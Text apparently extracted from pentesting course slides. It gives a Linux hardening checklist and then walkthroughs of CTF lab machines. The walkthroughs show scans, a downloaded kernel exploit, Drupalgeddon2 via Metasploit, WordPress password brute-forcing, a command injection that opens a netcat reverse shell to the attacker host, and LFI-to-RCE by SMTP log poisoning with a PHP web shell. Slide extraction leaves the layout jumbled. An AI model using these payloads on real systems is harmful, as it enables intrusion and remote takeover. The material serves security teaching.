Chapter 09
Chapter 09
Chapter 09
Chap04: System Pentesting: Password Cracking, Escalating Privileges, and Hiding Files
01 02 03
Use strong passwords The default security
Ensure that server is in
and not give out stance of deny all is a
a secure location such usernames or passwords. good one for hardening a
as a network Administrators should system from a network
operations center, make sure the system attack. Next, the
which prevents a doesn’t have null administrator can open
hacker from gaining passwords by verifying certain access for
physical access to the that all user accounts specific users,
system have passwords in the deny all users access
Linux /etc/shadow file from the network:
Cat “All:All”>>
/etc/hosts.deny
Hackin g Linux Sys te m s
Chapter
ChaptChapt Linux Hardening Methods
er er
66
09
Recommended steps to improve the security of a Linux server
1
Operating System Selection and Installation
- Use a widely recognized and known good Linux
distribution
- Apply any operating system patches that have been
released since the installation media was created
- Set up and enable IP tables
- Install a host-based intrusion detection system
(HIDS)
- Don’t install unnecessary applications or services
- Secure the boot loader program (such as lilo or
GRUB) with a password
4
Securing the Root Account
- Select a secure root password, and plan a schedule
for changing it regularly
- If possible, restrict the use of the su command to a
single group
- Use sudo or system roles to grant other ordinary
users limited root privilege when needed
- Prevent direct root logins except on the system
console
7
Performing Ongoing System Monitoring
- Configure the syslog facility. Send or copy syslog
messages to a central syslog server for redundancy
- Design and implement a plan for monitoring log
information for security-related events
Workshop
Linux Web server
exploitation
12
Linux Web server exploitation
LAB 0
WestWild
13
CTF Name:WestWild: 1.1
- su aveng
- sudo –l (this user can do everything with sudo)
- sudo su
- cd /root
- cat FLAG2.txt
Linux Web server exploitation
LAB 1
WestWild
15
Linux Web server exploitation
LAB 1
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap 10.10.10.149
22/tcp open ssh
80/tcp open http
Few ports are open on the target machine: Port 22, which is used for the SSH service, is open, and port 80 for the HTTP
service is also open
┌──(kali㉿kali)-[~/Desktop]
└─$ dirb http://10.10.10.149
+ http://10.10.10.149/cgi-bin/ (CODE:403|SIZE:288)
+ http://10.10.10.149/hacker (CODE:200|SIZE:3757743)
+ http://10.10.10.149/index (CODE:200|SIZE:2333)
+ http://10.10.10.149/index.html (CODE:200|SIZE:2333)
+ http://10.10.10.149/robots (CODE:200|SIZE:79)
+ http://10.10.10.149/robots.txt (CODE:200|SIZE:79)
+ http://10.10.10.149/server-status (CODE:403|SIZE:293)
SSH port 22 was also open on the target machine. As we have a valid username but no clue about the password was found, we
tried using the flag as password for logging into the SSH
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh itsskv@10.10.10.149
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Your Hardware Enablement Stack (HWE) is supported until April 2017.
Last login: Sat Jun 27 10:14:39 2020 from cybersploit.local
itsskv@cybersploit-CTF:~$
Checked the user folder and found the second flag file
itsskv@cybersploit-CTF:~$ ls
Desktop Documents Downloads examples.desktop flag2.txt Music Pictures Public Templates Videos
itsskv@cybersploit-CTF:~$ cat flag2.txt
01100111 01101111 01101111 01100100 00100000 01110111 01101111 01110010 01101011 00100000 00100001 00001010 01100110 01101100
01100001 01100111 00110010 00111010 00100000 01100011 01111001 01100010 01100101 01110010 01110011 01110000 01101100 01101111
01101001 01110100 01111011 01101000 01110100 01110100 01110000 01110011 00111010 01110100 00101110 01101101 01100101 00101111
01100011 01111001 01100010 01100101 01110010 01110011 01110000 01101100 01101111 01101001 01110100 00110001 01111101
19
Linux Web server exploitation
LAB 1
Gather information about the operating system and the kernel version
itsskv@cybersploit-CTF:~$ uname -a
Linux cybersploit-CTF 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
itsskv@cybersploit-CTF:~$ cat /etc/issue
Ubuntu 12.04.5 LTS \n \l
We searched the web for an available exploit for this configuration: local exploit of Ubuntu 12.04.5
https://www.exploit-db.com/exploits/372
20
Linux Web server exploitation
LAB 1
Dowload exploit to kali an run web server
┌──(kali㉿kali)-[~/Desktop]
└─$ wget https://www.exploit-db.com/download/37292
┌──(kali㉿kali)-[~/Desktop]
└─$ mv 37292 37292.c
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo python -m SimpleHTTPServer 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 ...
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
(c|o|n|g|r|a|t|u|l|a|t|i|o|n|s)
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
Thanks !
#
22
Linux Web server exploitation
LAB 2
WestWild
23
Linux Web server exploitation
LAB 2
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap –A 10.10.10.150
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: W3.CSS Template
5000/tcp open http nginx 1.14.0 (Ubuntu)
|_http-generator: WordPress 5.7.2
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: fsociety – Just another WordPress site
8081/tcp open http nginx 1.14.0 (Ubuntu)
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Home
9001/tcp open http nginx 1.14.0 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: fsociety.web
┌──(kali㉿kali)-[~/Desktop]
└─$ msfconsole
Matching Modules
================
26
Linux Web server exploitation
LAB 2
Configure drupalgeddon 2 Exploit
meterpreter >
27
Linux Web server exploitation
LAB 2
Enumeration
meterpreter > ls
40755/rwxr-xr-x 4096 dir 2017-02-01 16:34:27 -0500 includes
100755/rwxr-xr-x 529 fil 2017-02-01 16:34:27 -0500 index.php
100755/rwxr-xr-x 703 fil 2017-02-01 16:34:27 -0500 install.php
40755/rwxr-xr-x 4096 dir 2021-05-31 06:47:40 -0400 misc
40755/rwxr-xr-x 4096 dir 2017-02-01 16:34:27 -0500 modules
40755/rwxr-xr-x 4096 dir 2017-02-01 16:34:27 -0500 profiles
40755/rwxr-xr-x 4096 dir 2017-02-01 16:34:27 -0500 scripts
40755/rwxr-xr-x 4096 dir 2017-02-01 16:34:27 -0500 sites
tyrell.pass is interresting
28
Linux Web server exploitation
LAB 2
meterpreter > cat tyrell.pass
Username: tyrell
Password: mR_R0bo7_i5_R3@!_
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh tyrell@10.10.10.150 255 ⨯
The authenticity of host '10.10.10.150 (10.10.10.150)' can't be established.
ECDSA key fingerprint is SHA256:h1aOta4T0KpyD681E4pY8S7j2G4oSkfr23vwKMUD0B8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.150' (ECDSA) to the list of known hosts.
tyrell@10.10.10.150's password:
tyrell@vuln_cms:~$
Enumerate Sudores
tyrell@vuln_cms:~$ sudo -l
Matching Defaults entries for tyrell on vuln_cms:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
29
tyrell can run /bin/journalctl with privileges
Linux Web server exploitation
LAB 2
Flag: 4359537020406305
30
Linux Web server exploitation
LAB 3
WestWild
31
Linux Web server exploitation
LAB 3
- Bruteforce password :
┌──(kali㉿kali)-[~/Desktop]
└─$ wpscan --url http://wordy -U /home/kali/Desktop/users.txt -P /home/kali/Desktop/passwords.txt
SUCCESS mark / helpdesk01
- Connect to backoffice : http://wordy/wp-admin
not enough privileges
notice a plugin “Active-monitor”
33
Linux Web server exploitation
LAB 3
Searchsploit Active-monitor
┌──(kali㉿kali)-[~/Desktop]
└─$ searchsploit Activity monitor
Copy exploit to desktop
┌──(kali㉿kali)-[~/Desktop]
└─$ searchsploit -m 45274
Launch listener on kali
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -nlvp 9999
Go to activity monitor and inspect code in input and change size to 100 and put 127.0.0.1 | nc 192.168.1.142 1234 -e
/bin/bash
34
Linux Web server exploitation
LAB 3
Connected as jens
jens@dc-6:/home/graham$
35
Linux Web server exploitation
LAB 3
jens@dc-6:/home/graham$ sudo -l
Matching Defaults entries for jens on dc-6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Id=0
36
Linux Web server exploitation
LAB 4
WestWild
37
Linux Web server exploitation
LAB 4
Scanning : Nmap
01
Enumeration : SMB Shares folder, Wpscan
02
Exploiting: Exploiting WordPress again LFI ,
03 LFI to RCE via SMTP log Poising
38
Linux Web server exploitation
LAB 4
Machine name: symfonos1
┌──(kali㉿kali)-[~/Desktop] ┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sn 192.168.1.0/24 └─$ enum4linux 192.168.1.171
Nmap scan report for 192.168.1.1 Sharename Type Comment
Host is up (0.0022s latency). --------- ---- -------
Nmap scan report for 192.168.1.2 print$ Disk Printer Drivers
Host is up (0.00034s latency). helios Disk Helios personal share
Nmap scan report for 192.168.1.142 anonymous Disk
Host is up (0.00014s latency).
Nmap scan report for 192.168.1.171 [+] Attempting to map shares on 192.168.1.171
//192.168.1.171/print$ Mapping: DENIED, Listing: N/A
//192.168.1.171/helios Mapping: DENIED, Listing: N/A
┌──(kali㉿kali)-[~/Desktop] //192.168.1.171/anonymous Mapping: OK, Listing: OK
└─$ nmap -A 192.168.1.171 //192.168.1.171/IPC$ [E] Can't understand response:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.25 ((Debian)) ┌──(kali㉿kali)-[~/Desktop]
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: └─$ smbclient //192.168.1.171/anonymous
WORKGROUP) smb: \> ls
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: . D 0 Fri Jun 28 21:14:49 2019
WORKGROUP) .. D 0 Fri Jun 28 21:12:15 2019
SMB activated : try to enumerate shares attention.txt N 154 Fri Jun 28 21:14:49 2019
39
Linux Web server exploitation
LAB 4
Machine name: symfonos1
┌──(kali㉿kali)-[~/Desktop] ┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //192.168.1.171/anonymous └─$ cat todo.txt
smb: \> get attention.txt 1. Binge watch Dexter
2. Dance
3. Work on /h3l105
┌──(kali㉿kali)-[~/Desktop]
└─$ cat attention.txt
Can users please stop using passwords like 'epidioko', 'qwerty'
and 'baseball'! Next person I find using one of these passwords ┌──(kali㉿kali)-[~/Desktop]
will be fired! └─$ sudo nano /etc/hosts
127.0.0.1 localhost
Test passwords 'epidioko', 'qwerty' and 'baseball’ for helios 127.0.1.1 kali
user
┌──(kali㉿kali)-[~/Desktop] # The following lines are desirable for IPv6 capable hosts
└─$ smbclient //192.168.1.171/helios --user=helios ::1 localhost ip6-localhost ip6-loopback
Password for [WORKGROUP\helios]: ff02::1 ip6-allnodes
Try "help" to get a list of possible commands. ff02::2 ip6-allrouters
smb: \> ls 192.168.1.171 symfonos.local
. D 0 Fri Jun 28 20:32:05 2019
.. D 0 Fri Jun 28 20:37:04 2019
Go to http://192.168.1.171/h3l105/
research.txt A 432 Fri Jun 28 20:32:05 2019
todo.txt A 52 Fri Jun 28 20:32:05 2019
┌──(kali㉿kali)-[~/Desktop]
19994224 blocks of size 1024. 17305316 blocks └─$ whatweb http://192.168.1.171/h3l105/
available WordPress 5.2.2
40
smb: \> get todo.txt
Linux Web server exploitation
LAB 4
Machine name: symfonos1
Enumerate Plugins and look for vulnerable one Go to
┌──(kali㉿kali)-[~/Desktop] http://192.168.1.171/h3l105/wp-content/plugins/mail-
└─$ wpscan --url http://symfonos.local/h3l105/ --enumerate p masta/inc/campaign/count_of_send.php?pl=/etc/passwd
i] Plugin(s) Identified:
[+] mail-masta
| Location: http://symfonos.local/h3l105/wp-
content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Last Updated: 2014-09-19T07:52:00.000Z
To escalate LFI to RCE we can use SMTP log poison approach
┌──(kali㉿kali)-[~/Desktop]
└─$ searchsploit mail masta telnet 192.168.0.16 25
WordPress Plugin Mail Masta 1.0 - Local File Inclusion MAIL FROM: <sof>
| php/webapps/40290.txt RCPT TO: Helios
data
┌──(kali㉿kali)-[~/Desktop] <?php system($_GET['c']); ?>
└─$ searchsploit -m 40290 .
┌──(kali㉿kali)-[~/Desktop] Go to
└─$ cat 40290.txt http://symfonos.local/h3l105/wp-content/plugins/mail-
masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=id
Linux Web server exploitation
LAB 4
Machine name: symfonos1
Linux Web server exploitation
LAB 4
Machine name: symfonos1
Run netcat reverse command and start netcat listener on kali:
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -vlp 1234
listening on [any] 1234 ...
Strings /opt/statuscheck
Curl